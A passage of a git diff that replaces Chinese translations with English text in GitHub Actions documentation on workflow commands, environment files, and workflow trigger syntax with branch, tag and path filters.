organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)" +- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" -## 禁用或限制仓库或组织的 {% data variables.product.prodname_actions %} +## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization {% data reusables.github-actions.disabling-github-actions %} -更多信息请参阅： -- “[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)” -- "[对组织禁用或限制 {% data variables.product.prodname_actions %}](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" -- "[在企业中执行 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" +For more information, see: +- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)" +- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" +- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)" -## 禁用和启用工作流程 +## Disabling and enabling workflows -您可以在 {% data variables.product.prodname_dotcom %} 上启用和禁用仓库中的个别工作流程。 +You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}. {% data reusables.actions.scheduled-workflows-disabled %} -更多信息请参阅“[禁用和启用工作流程](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)。 +For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md index 356105c631..ef1dd1c4bc 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: GitHub Actions 的工作流程命令 -shortTitle: 工作流程命令 -intro: 您可以在工作流程或操作代码中运行 shell 命令时使用工作流程命令。 +title: Workflow commands for GitHub Actions +shortTitle: Workflow commands +intro: You can use workflow commands when running shell commands in a workflow or in an action's code. redirect_from: - /articles/development-tools-for-github-actions - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions @@ -20,11 +20,11 @@ versions: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于工作流程命令 +## About workflow commands -操作可以与运行器机器进行通信，以设置环境变量，其他操作使用的输出值，将调试消息添加到输出日志和其他任务。 +Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks. -大多数工作流程命令使用特定格式的 `echo` 命令，而其他工作流程则通过写入文件被调用。 更多信息请参阅“[环境文件](#environment-files)”。 +Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see ["Environment files".](#environment-files) ``` bash echo "::workflow-command parameter1={data},parameter2={data}::{command value}" @@ -32,25 +32,25 @@ echo "::workflow-command parameter1={data},parameter2={data}::{command value}" {% note %} -**注意：**工作流程命令和参数名称不区分大小写。 +**Note:** Workflow command and parameter names are not case-sensitive. {% endnote %} {% warning %} -**警告：**如果您使用命令提示符，则使用工作流程命令时忽略双引号字符 (`"`)。 +**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands. {% endwarning %} -## 使用工作流程命令访问工具包函数 +## Using workflow commands to access toolkit functions -[actions/toolkit](https://github.com/actions/toolkit) 包括一些可以作为工作流程命令执行的功能。 使用 `::` 语法来运行您的 YAML 文件中的工作流程命令；然后，通过 `stdout` 将这些命令发送给运行器。 例如，不使用代码来设置环境变量，如下所示： +The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. For example, instead of using code to set an output, as below: ```javascript core.setOutput('SELECTED_COLOR', 'green'); ``` -您可以在工作流程中使用 `set-output` 命令来设置相同的值： +You can use the `set-output` command in your workflow to set the same value: {% raw %} ``` yaml @@ -62,52 +62,52 @@ core.setOutput('SELECTED_COLOR', 'green'); ``` {% endraw %} -下表显示了在工作流程中可用的工具包功能： +The following table shows which toolkit functions are available within a workflow: -| 工具包函数 | 等效工作流程命令 | -| --------------------- | --------------------------------------------------------------------- | -| `core.addPath` | Accessible using environment file `GITHUB_PATH` | -| `core.debug` | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} -| `core.notice` | `notice` -{% endif %} -| `core.error` | `error` | -| `core.endGroup` | `endgroup` | -| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | -| `core.getInput` | 可使用环境变量 `INPUT_{NAME}` 访问 | -| `core.getState` | 可使用环境变量 `STATE_{NAME}` 访问 | -| `core.isDebug` | 可使用环境变量 `RUNNER_DEBUG` 访问 | -| `core.saveState` | `save-state` | -| `core.setFailed` | 用作 `::error` 和 `exit 1` 的快捷方式 | -| `core.setOutput` | `set-output` | -| `core.setSecret` | `add-mask` | -| `core.startGroup` | `组` | -| `core.warning` | `警告` | +| Toolkit function | Equivalent workflow command | +| ----------------- | ------------- | +| `core.addPath` | Accessible using environment file `GITHUB_PATH` | +| `core.debug` | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} +| `core.notice` | `notice` |{% endif %} +| `core.error` | `error` | +| `core.endGroup` | `endgroup` | +| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | +| `core.getInput` | Accessible using environment variable `INPUT_{NAME}` | +| `core.getState` | Accessible using environment variable `STATE_{NAME}` | +| `core.isDebug` | Accessible using environment variable `RUNNER_DEBUG` | +| `core.saveState` | `save-state` | +| `core.setCommandEcho` | `echo` | +| `core.setFailed` | Used as a shortcut for `::error` and `exit 1` | +| `core.setOutput` | `set-output` | +| `core.setSecret` | `add-mask` | +| `core.startGroup` | `group` | +| `core.warning` | `warning` | -## 设置输出参数 +## Setting an output parameter ``` ::set-output name={name}::{value} ``` -设置操作的输出参数。 +Sets an action's output parameter. -（可选）您也可以在操作的元数据文件中声明输出参数。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/articles/metadata-syntax-for-github-actions#outputs)”。 +Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)." -### 示例 +### Example ``` bash echo "::set-output name=action_fruit::strawberry" ``` -## 设置调试消息 +## Setting a debug message ``` ::debug::{message} ``` -将调试消息打印到日志。 您可以创建名为 `ACTIONS_STEP_DEBUG`、值为 `true` 的密码，才能在日志中查看通过此命令设置的调试消息。 更多信息请参阅“[启用调试日志记录](/actions/managing-workflow-runs/enabling-debug-logging)”。 +Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)." -### 示例 +### Example ``` bash echo "::debug::Set the Octocat variable" @@ -115,17 +115,17 @@ echo "::debug::Set the Octocat variable" {% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %} -## 设置通知消息 +## Setting a notice message ``` ::notice file={name},line={line},endLine={endLine},title={title}::{message} ``` -创建通知消息并将该消息打印到日志。 {% data reusables.actions.message-annotation-explanation %} +Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} {% data reusables.actions.message-parameters %} -### 示例 +### Example ``` bash echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" @@ -133,48 +133,48 @@ echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" {% endif %} -## 设置警告消息 +## Setting a warning message ``` ::warning file={name},line={line},endLine={endLine},title={title}::{message} ``` -创建警告消息并将该消息打印到日志。 {% data reusables.actions.message-annotation-explanation %} +Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} {% data reusables.actions.message-parameters %} -### 示例 +### Example ``` bash echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon" ``` -## 设置错误消息 +## Setting an error message ``` ::error file={name},line={line},endLine={endLine},title={title}::{message} ``` -创建错误消息并将该消息打印到日志。 {% data reusables.actions.message-annotation-explanation %} +Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} {% data reusables.actions.message-parameters %} -### 示例 +### Example ``` bash echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon" ``` -## 对日志行分组 +## Grouping log lines ``` ::group::{title} ::endgroup:: ``` -在日志中创建一个可扩展的组。 要创建组，请使用 `group` 命令并指定 `title`。 打印到 `group` 与 `endgroup` 命令之间日志的任何内容都会嵌套在日志中可扩展的条目内。 +Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log. -### 示例 +### Example ```bash echo "::group::My title" @@ -182,44 +182,44 @@ echo "Inside group" echo "::endgroup::" ``` -![工作流运行日志中的可折叠组](/assets/images/actions-log-group.png) +![Foldable group in workflow run log](/assets/images/actions-log-group.png) -## 在日志中屏蔽值 +## Masking a value in log ``` ::add-mask::{value} ``` -屏蔽值可阻止在日志中打印字符串或变量。 用空格分隔的每个屏蔽的词均替换为 `*` 字符。 您可以使用环境变量或字符串作为屏蔽的 `value`。 +Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`. -### 屏蔽字符串的示例 +### Example masking a string -当您在日志中打印 `"Mona The Octocat"` 时，您将看到 `"***"`。 +When you print `"Mona The Octocat"` in the log, you'll see `"***"`. ```bash echo "::add-mask::Mona The Octocat" ``` -### 屏蔽环境变量的示例 +### Example masking an environment variable -当您在日志中打印变量 `MY_NAME` 或值 `"Mona The Octocat"` 时，您将看到 `"***"` 而不是 `"Mona The Octocat"`。 +When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`. ```bash MY_NAME="Mona The Octocat" echo "::add-mask::$MY_NAME" ``` -## 停止和启动工作流程命令 +## Stopping and starting workflow commands `::stop-commands::{endtoken}` -停止处理任何工作流程命令。 此特殊命令可让您记录任何内容而不会意外运行工作流程命令。 例如，您可以停止记录以输出带有注释的整个脚本。 +Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments. -要停止处理工作流程命令，请将唯一的令牌传递给 `stop-commands`。 要继续处理工作流程命令，请传递用于停止工作流程命令的同一令牌。 +To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands. {% warning %} -**警告：** 请确保您使用的令牌是随机生成的，且对每次运行唯一。 如下面的示例所示，您可以为每次运行生成 `github.token` 的唯一哈希值。 +**Warning:** Make sure the token you're using is randomly generated and unique for each run. As demonstrated in the example below, you can generate a unique hash of your `github.token` for each run. {% endwarning %} @@ -227,7 +227,7 @@ echo "::add-mask::$MY_NAME" ::{endtoken}:: ``` -### 停止和启动工作流程命令的示例 +### Example stopping and starting workflow commands {% raw %} @@ -247,33 +247,73 @@ jobs: {% endraw %} -## 将值发送到 pre 和 post 操作 +## Echoing command outputs -您可以使用 `save-state` 命令来创建环境变量，以便与工作流程的 `pre:` 或 `post:` 操作共享。 例如，您可以使用 `pre:` 操作创建文件，将该文件位置传给 `main:` 操作，然后使用 `post:` 操作删除文件。 或者，您可以使用 `main:` 操作创建文件，将该文件位置传给 `post:` 操作，然后使用 `post:` 操作删除文件。 +``` +::echo::on +::echo::off +``` -如果您有多个 `pre:` 或 `post:` 操作，则只能访问使用了 `save-state` 的操作中的已保存值。 有关 `post:` 操作的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions#post)”。 +Enables or disables echoing of workflow commands. For example, if you use the `set-output` command in a workflow, it sets an output parameter but the workflow run's log does not show the command itself. If you enable command echoing, then the log shows the command, such as `::set-output name={name}::{value}`. -`save-state` 命令只能在操作内运行，并且对 YAML 文件不可用。 保存的值将作为环境值存储，带 `STATE_` 前缀。 +Command echoing is disabled by default. However, a workflow command is echoed if there are any errors processing the command. -此示例使用 JavaScript 运行 `save-state` 命令。 由此生成的环境变量被命名为 `STATE_processID`，带 `12345` 的值： +The `add-mask`, `debug`, `warning`, and `error` commands do not support echoing because their outputs are already echoed to the log. + +You can also enable command echoing globally by turning on step debug logging using the `ACTIONS_STEP_DEBUG` secret. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)". In contrast, the `echo` workflow command lets you enable command echoing at a more granular level, rather than enabling it for every workflow in a repository. + +### Example toggling command echoing + +```yaml +jobs: + workflow-command-job: + runs-on: ubuntu-latest + steps: + - name: toggle workflow command echoing + run: | + echo '::set-output name=action_echo::disabled' + echo '::echo::on' + echo '::set-output name=action_echo::enabled' + echo '::echo::off' + echo '::set-output name=action_echo::disabled' +``` + +The step above prints the following lines to the log: + +``` +::set-output name=action_echo::enabled +::echo::off +``` + +Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases. + +## Sending values to the pre and post actions + +You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions. For example, you can create a file with the `pre:` action, pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file. + +If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where `save-state` was used. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#post)." + +The `save-state` command can only be run within an action, and is not available to YAML files. The saved value is stored as an environment value with the `STATE_` prefix. + +This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`: ``` javascript console.log('::save-state name=processID::12345') ``` -然后，`STATE_processID` 变量将仅可被用于 `main` 操作下运行的清理脚本。 此示例在 `main` 中运行，并使用 JavaScript 显示分配给 `STATE_processID` 环境变量的值： +The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable: ``` javascript console.log("The running PID from the main action is: " + process.env.STATE_processID); ``` -## 环境文件 +## Environment Files -在工作流程执行期间，运行器生成可用于执行某些操作的临时文件。 这些文件的路径通过环境变量显示。 写入这些文件时，您需要使用 UTF-8 编码，以确保正确处理命令。 多个命令可以写入同一个文件，用换行符分隔。 +During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines. {% warning %} -**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. 请确保使用正确的编码写入文件。 例如，在设置路径时需要设置 UTF-8 编码： +**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. Make sure you write files using the correct encoding. For example, you need to set UTF-8 encoding when you set the path: ```yaml jobs: @@ -284,7 +324,7 @@ jobs: run: echo "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append ``` -Or switch to PowerShell Core, which defaults to UTF-8: +Or switch to PowerShell Core, which defaults to UTF-8: ```yaml jobs: @@ -298,18 +338,17 @@ jobs: More detail about UTF-8 and PowerShell Core found on this great [Stack Overflow answer](https://stackoverflow.com/a/40098904/162694): > ### Optional reading: The cross-platform perspective: PowerShell _Core_: -> -> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - ***defaults to ***BOM-less UTF-8******, in line with Unix-like platforms. +> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - **defaults to *BOM-less UTF-8***, in line with Unix-like platforms. {% endwarning %} -## 设置环境变量 +## Setting an environment variable ``` bash echo "{name}={value}" >> $GITHUB_ENV ``` -为作业中接下来运行的任何步骤创建或更新环境变量。 创建或更新环境变量的步骤无法访问新值，但在作业中的所有后续步骤均可访问。 环境变量区分大小写，并且可以包含标点符号。 +Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. Environment variables are case-sensitive and you can include punctuation. {% note %} @@ -317,7 +356,7 @@ echo "{name}={value}" >> $GITHUB_ENV {% endnote %} -### 示例 +### Example {% raw %} ``` @@ -333,9 +372,9 @@ steps: ``` {% endraw %} -### 多行字符串 +### Multiline strings -对于多行字符串，您可以使用具有以下语法的分隔符。 +For multiline strings, you may use a delimiter with the following syntax. ``` {name}<<{delimiter} @@ -343,9 +382,9 @@ steps: {delimiter} ``` -#### 示例 +#### Example -在此示例中， 我们使用 `EOF` 作为分隔符，并将 `JSON_RESPONSE` 环境变量设置为 cURL 响应的值。 +In this example, we use `EOF` as a delimiter and set the `JSON_RESPONSE` environment variable to the value of the curl response. ```yaml steps: - name: Set the value @@ -356,17 +395,17 @@ steps: echo 'EOF' >> $GITHUB_ENV ``` -## 添加系统路径 +## Adding a system path ``` bash echo "{path}" >> $GITHUB_PATH ``` -Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. 要查看作业的当前定义路径，您可以在步骤或操作中使用 `echo "$PATH"`。 +Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action. -### 示例 +### Example -此示例演示如何将用户 `$HOME/.local/bin` 目录添加到 `PATH`： +This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`: ``` bash echo "$HOME/.local/bin" >> $GITHUB_PATH diff --git a/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md index 4656d751e6..1e65fc3ac3 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: GitHub Actions 的工作流程语法 -shortTitle: 工作流程语法 -intro: 工作流程是可配置的自动化过程，由一个或多个作业组成。 您必须创建 YAML 文件来定义工作流程配置。 +title: Workflow syntax for GitHub Actions +shortTitle: Workflow syntax +intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration. redirect_from: - /articles/workflow-syntax-for-github-actions - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions @@ -18,27 +18,27 @@ versions: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于工作流程的 YAML 语法 +## About YAML syntax for workflows -工作流程文件使用 YAML 语法，必须有 `.yml` 或 `.yaml` 文件扩展名。 {% data reusables.actions.learn-more-about-yaml %} +Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %} -必须将工作流程文件存储在仓库的 `.github/workflows` 目录中。 +You must store workflow files in the `.github/workflows` directory of your repository. ## `name` -工作流程的名称。 {% data variables.product.prodname_dotcom %} 在仓库的操作页面上显示工作流程的名称。 如果省略 `name`，{% data variables.product.prodname_dotcom %} 将其设置为相对于仓库根目录的工作流程文件路径。 +The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's actions page. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository. ## `on` -**必填**。 触发工作流程的 {% data variables.product.prodname_dotcom %} 事件的名称。 您可以提供单一事件 `string`、事件的 `array`、事件 `types` 的 `array` 或事件配置 `map`，以安排工作流程的运行，或将工作流程的执行限于特定文件、标记或分支更改。 有关可用事件的列表，请参阅“[触发工作流程的事件](/articles/events-that-trigger-workflows)”。 +**Required**. The name of the {% data variables.product.prodname_dotcom %} event that triggers the workflow. You can provide a single event `string`, `array` of events, `array` of event `types`, or an event configuration `map` that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see "[Events that trigger workflows](/articles/events-that-trigger-workflows)." {% data reusables.github-actions.actions-on-examples %} ## `on..types` -选择将触发工作流程运行的活动类型。 大多数 GitHub 事件由多种活动触发。 例如，发布资源的事件在发行版 `published`、`unpublished`、`created`、`edited`、`deleted` 或 `prereleased` 时触发。 通过 `types` 关键词可缩小触发工作流程运行的活动类型的范围。 如果只有一种活动类型可触发 web 挂钩事件，就没有必要使用 `types` 关键词。 +Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity. For example, the event for the release resource is triggered when a release is `published`, `unpublished`, `created`, `edited`, `deleted`, or `prereleased`. The `types` keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the `types` keyword is unnecessary. -您可以使用事件 `types` 的数组。 有关每个事件及其活动类型的更多信息，请参阅“[触发工作流程的事件](/articles/events-that-trigger-workflows#webhook-events)”。 +You can use an array of event `types`. For more information about each event and their activity types, see "[Events that trigger workflows](/articles/events-that-trigger-workflows#webhook-events)." ```yaml # Trigger the workflow on release activity @@ -50,13 +50,13 @@ on: ## `on..` -使用 `push` 和 `pull_request` 事件时，您可以将工作流配置为在特定分支或标记上运行。 对于 `pull_request` 事件，只评估基础上的分支和标签。 如果只定义 `tags` 或只定义 `branches`，则影响未定义 Git ref 的事件不会触发工作流程运行。 +When using the `push` and `pull_request` events, you can configure a workflow to run on specific branches or tags. For a `pull_request` event, only branches and tags on the base are evaluated. If you define only `tags` or only `branches`, the workflow won't run for events affecting the undefined Git ref. -`branches`、`branches-ignore`、`tags` 和 `tags-ignore` 关键词接受使用 `*`、`**`、`+`、`?`、`!` 等字符匹配多个分支或标记名称的 glob 模式。 If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. 有关 glob 模式的更多信息，请参阅“[过滤器模式备忘清单](#filter-pattern-cheat-sheet)”。 +The `branches`, `branches-ignore`, `tags`, and `tags-ignore` keywords accept glob patterns that use characters like `*`, `**`, `+`, `?`, `!` and others to match more than one branch or tag name. If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. For more information about glob patterns, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)." -### 示例：包括分支和标记 +### Example: Including branches and tags -在 `branches` 和 `tags` 中定义的模式根据 Git ref 的名称进行评估。 例如，在 `branches` 中定义的模式 `mona/octocat` 将匹配 `refs/heads/mona/octocat` Git ref。 模式 `releases/**` 将匹配 `refs/heads/releases/10` Git ref。 +The patterns defined in `branches` and `tags` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**` will match the `refs/heads/releases/10` Git ref. ```yaml on: @@ -75,9 +75,9 @@ on: - v1.* # Push events to v1.0, v1.1, and v1.9 tags ``` -### 示例：忽略分支和标记 +### Example: Ignoring branches and tags -只要模式与 `branches-ignore` or `tags-ignore` 模式匹配，工作流就不会运行。 在 `branches-ignore` 和 `tags-ignore` 中定义的模式根据 Git ref 的名称进行评估。 例如，在 `branches` 中定义的模式 `mona/octocat` 将匹配 `refs/heads/mona/octocat` Git ref。 `branches` 中的模式 `releases/**-alpha` 将匹配 `refs/releases/beta/3-alpha` Git ref。 +Anytime a pattern matches the `branches-ignore` or `tags-ignore` pattern, the workflow will not run. The patterns defined in `branches-ignore` and `tags-ignore` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**-alpha` in `branches` will match the `refs/releases/beta/3-alpha` Git ref. ```yaml on: @@ -93,19 +93,19 @@ on: - v1.* # Do not push events to tags v1.0, v1.1, and v1.9 ``` -### 排除分支和标记 +### Excluding branches and tags -您可以使用两种类型的过滤器来阻止工作流程在对标记和分支的推送和拉取请求上运行。 -- `branches` 或 `branches-ignore` - 您无法对工作流程中的同一事件同时使用 `branches` 和 `branches-ignore` 过滤器。 需要过滤肯定匹配的分支和排除分支时，请使用 `branches` 过滤器。 只需要排除分支名称时，请使用 `branches-ignore` 过滤器。 -- `tags` 或 `tags-ignore` - 您无法对工作流程中的同一事件同时使用 `tags` 和 `tags-ignore` 过滤器。 需要过滤肯定匹配的标记和排除标记时，请使用 `tags` 过滤器。 只需要排除标记名称时，请使用 `tags-ignore` 过滤器。 +You can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches. +- `branches` or `branches-ignore` - You cannot use both the `branches` and `branches-ignore` filters for the same event in a workflow. Use the `branches` filter when you need to filter branches for positive matches and exclude branches. Use the `branches-ignore` filter when you only need to exclude branch names. +- `tags` or `tags-ignore` - You cannot use both the `tags` and `tags-ignore` filters for the same event in a workflow. Use the `tags` filter when you need to filter tags for positive matches and exclude tags. Use the `tags-ignore` filter when you only need to exclude tag names. -### 示例：使用肯定和否定模式 +### Example: Using positive and negative patterns -您可以使用 `!` 字符排除 `tags` 和 `branches`。 您定义模式事项的顺序。 - - 肯定匹配后的匹配否定模式（前缀为 `!`）将排除 Git 引用。 - - 否定匹配后的匹配肯定模式将再次包含 Git 引用。 +You can exclude `tags` and `branches` using the `!` character. The order that you define patterns matters. + - A matching negative pattern (prefixed with `!`) after a positive match will exclude the Git ref. + - A matching positive pattern after a negative match will include the Git ref again. -以下工作流程将在到 `releases/10` 或 `releases/beta/mona` 的推送上运行，而不会在到 `releases/10-alpha` 或 `releases/beta/3-alpha` 的推送上运行，因为否定模式 `!releases/**-alpha` 后跟肯定模式。 +The following workflow will run on pushes to `releases/10` or `releases/beta/mona`, but not on `releases/10-alpha` or `releases/beta/3-alpha` because the negative pattern `!releases/**-alpha` follows the positive pattern. ```yaml on: @@ -117,13 +117,13 @@ on: ## `on..paths` -使用 `push` 和 `pull_request` 事件时，您可以将工作流程配置为在至少一个文件不匹配 `paths-ignore` 或至少一个修改的文件匹配配置的 `paths` 时运行。 路径过滤器不评估是否推送到标签。 +When using the `push` and `pull_request` events, you can configure a workflow to run when at least one file does not match `paths-ignore` or at least one modified file matches the configured `paths`. Path filters are not evaluated for pushes to tags. -`paths-ignore` 和 `paths` 关键词接受使用 `*` 和 `**` 通配符匹配多个路径名称的 glob 模式。 更多信息请参阅“[过滤器模式备忘清单](#filter-pattern-cheat-sheet)”。 +The `paths-ignore` and `paths` keywords accept glob patterns that use the `*` and `**` wildcard characters to match more than one path name. For more information, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)." -### 示例：忽略路径 +### Example: Ignoring paths -当所有路径名称匹配 `paths-ignore` 中的模式时，工作流程不会运行。 {% data variables.product.prodname_dotcom %} 根据路径名称评估 `paths-ignore` 中定义的模式。 具有以下路径过滤器的工作流程仅在 `push` 事件上运行，这些事件包括至少一个位于仓库根目录的 `docs` 目录外的文件。 +When all the path names match patterns in `paths-ignore`, the workflow will not run. {% data variables.product.prodname_dotcom %} evaluates patterns defined in `paths-ignore` against the path name. A workflow with the following path filter will only run on `push` events that include at least one file outside the `docs` directory at the root of the repository. ```yaml on: @@ -132,9 +132,9 @@ on: - 'docs/**' ``` -### 示例：包括路径 +### Example: Including paths -如果至少有一个路径与 `paths` 过滤器中的模式匹配，工作流程将会运行。 要在每次推送 JavaScript 文件时触发构建，您可以使用通配符模式。 +If at least one path matches a pattern in the `paths` filter, the workflow runs. To trigger a build anytime you push a JavaScript file, you can use a wildcard pattern. ```yaml on: @@ -143,19 +143,19 @@ on: - '**.js' ``` -### 排除路径 +### Excluding paths -您可以使用两种类型的过滤器排除路径。 不能对工作流程中的同一事件同时使用这两种过滤器。 -- `paths-ignore` - 只需要排除路径名称时，请使用 `paths-ignore` 过滤器。 -- `paths` - 需要过滤肯定匹配的路径和排除路径时，请使用 `paths` 过滤器。 +You can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow. +- `paths-ignore` - Use the `paths-ignore` filter when you only need to exclude path names. +- `paths` - Use the `paths` filter when you need to filter paths for positive matches and exclude paths. -### 示例：使用肯定和否定模式 +### Example: Using positive and negative patterns -您可以使用 `!` 字符排除 `paths`。 您定义模式事项的顺序： - - 肯定匹配后的匹配否定模式（前缀为 `!`）将排除路径。 - - 否定匹配后的匹配肯定模式将再次包含路径。 +You can exclude `paths` using the `!` character. The order that you define patterns matters: + - A matching negative pattern (prefixed with `!`) after a positive match will exclude the path. + - A matching positive pattern after a negative match will include the path again. -只要 `push` 事件包括 `sub-project` 目录或其子目录中的文件，此示例就会运行，除非该文件在 `sub-project/docs` 目录中。 例如，更改了 `sub-project/index.js` 或 `sub-project/src/index.js` 的推送将会触发工作流程运行，但只更改 `sub-project/docs/readme.md` 的推送不会触发。 +This example runs anytime the `push` event includes a file in the `sub-project` directory or its subdirectories, unless the file is in the `sub-project/docs` directory. For example, a push that changed `sub-project/index.js` or `sub-project/src/index.js` will trigger a workflow run, but a push changing only `sub-project/docs/readme.md` will not. ```yaml on: @@ -165,29 +165,29 